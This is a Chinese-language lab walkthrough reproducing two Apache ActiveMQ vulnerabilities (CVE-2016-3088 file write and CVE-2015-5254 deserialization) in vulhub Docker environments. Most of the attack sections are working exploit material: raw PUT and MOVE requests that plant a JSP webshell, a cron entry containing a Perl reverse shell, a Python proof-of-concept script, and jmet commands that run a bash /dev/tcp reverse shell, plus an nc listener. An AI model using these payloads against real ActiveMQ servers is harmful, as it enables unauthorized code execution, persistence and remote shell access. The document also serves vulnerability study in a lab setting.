
前言
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。
Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。
0x00 安装docker-compose
Ubuntu安装docker-compose
使用DaoCloud源下载
sudo curl -L https://get.daocloud.io/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose
设置权限
sudo chmod +x /usr/local/bin/docker-compose

0x01 启动ActiveMQ任意文件写入漏洞_CVE-2016-3088漏洞环境
漏洞影响版本
Apache ActiveMQ 5.x ~ 5.14.0
首先将漏洞环境全部Git到服务器上
git clone https://github.com/vulhub/vulhub.git
随后进入到对应的目录即可
docker-compose up -d
随后会开始下载,并启动


0x02 漏洞复现
ActiveMQ的web控制台分三个应用,admin,api和fileserver,其中admin是管理员页面,api是接口,fileserver是存储文件的接口,admin和api都需要登录后才能使用,fileserver无需登录,fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计是为了弥补消息队列操作不能传输,存储二进制文件的缺陷,在5.12.x5.13.版本中,默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启),在5.14.0版本后,彻底删除了fileserver应用。
首先直接访问http://ip:8161

1、写入WebShell
首先查看ActiveMQ的绝对路径

随后使用PUT请求上传一个SHELL

我们为了更具体的判断上传成功,进入docker查看是否有该文件
find . -name "UzJu.txt"

PUT /fileserver/UzJu.txt HTTP/1.1
Host: ip:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Connection: close
Content-Length: 15
UzJu_Test....:)
随后将文件移动到Web目录下的API文件夹中
file:///opt/activemq/webapps/api/UzJu.jsp

MOVE /fileserver/UzJu.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/UzJu.jsp
Host: ip:8161
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=1kj9fz5gan2yd1wstqeinp6pkh
Connection: close
随后我们查看API目录下,确认文件是否已经移动

随后访问WebShell

2、写crontab弹Shell

PUT /fileserver/time.txt HTTP/1.1
Host: ip:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Connection: close
Content-Length: 241
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
写入成功,随后移动文件到/etc/cron.d/下

Ps: 这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。
0x03 编写poc
这里使用Python编写POC
其实这里还是有很多地方优化的,比如上传与移动文件的路径是不一定的,需要根据环境来判断,这里只是简单的demo
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project :UzJuSecurityTools
@File :2.ActiveMQFileWrite.py
@Author :UzJu
@Date :2021/12/27 10:26 下午
@Email :UzJuer@163.com
'''
import requests
class ActiveMQFileWrite:
def __init__(self, url, username, password):
self.url = url
self.poc = "UzJu_test"
self.path = "/fileserver/UzJu_1.txt"
self.username = username
self.password = password
def getUploadFile(self):
result = requests.put(url=self.url + self.path,
data=self.poc)
if result.status_code == 204:
print(f"[+]WebShell-{self.poc}写入成功")
else:
print(f'[-]写入失败, 状态码:{result.status_code}')
def getAndMoveFile(self):
headers = {
"Destination": "file:///opt/activemq/webapps/api/UzJu_1.jsp"
}
result = requests.request("MOVE",
url=self.url + self.path,
headers=headers)
if result.status_code == 204:
print(f"[+]文件移动成功,请访问,{self.url}/api/UzJu_1.jsp")
else:
print(f"[-]文件移动失败,状态码:{result.status_code}")
def getCheckVuln(self):
result = requests.get(url=self.url + "/api/UzJu_1.jsp",
auth=(self.username, self.password))
if result.status_code == 200:
print(f"[+]存在漏洞, Payload: {result.text}")
else:
print(f"[-]不存在漏洞,或文件上传失败,或其他原因")
if __name__ == '__main__':
main = ActiveMQFileWrite('http://ip:8161', "admin", "admin")
main.getUploadFile()
main.getAndMoveFile()
main.getCheckVuln()
运行截图

访问试试

0x04 参考
1、https://blog.csdn.net/nzjdsds/article/details/116102632
2、https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.md
3、https://www.secpulse.com/archives/60064.html
4、https://blog.csdn.net/cj_allen/article/details/106898020
0x05 启动ActiveMQ反序列化漏洞_CVE-2015-5254漏洞环境
1、执行touch命令
首先将漏洞环境全部Git到服务器上
git clone https://github.com/vulhub/vulhub.git
随后进入到对应的目录即可
docker-compose up -d
随后会开始下载


随后可以看到漏洞环境已经启动成功
0x06 漏洞复现
下载提供的jmet进行漏洞利用
https://github.com/matthiaskaiser/jmet/releases/tag/0.1.0
随后执行
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME IP 61616
Tips: 如果使用的是云服务器,需要对应提供商后台放通安全组

随后访问WEB页面
http://ip:8161/admin/browse.jsp?JMSDestination=event
账号为admin 密码为admin

这里可以看到有一个事件,点击这个事件即可

可以看到已经执行了命令,新建了一个success文件
2、反弹shell
执行命令如下
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/ip/1234 0>&1" -Yp ROME ip 61616
或者进行base编码
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,base64}|{base64,-d}|{bash,-i}" -Yp ROME ip 61616

访问WEB页面,我们可以看到新增了一个事件,点击事件即可,不过再次之前,我们需要使用nc
监听1234端口

nc -lvp 1234

在点击事件后,我们成功获取到shell

0x07 参考
1、https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.md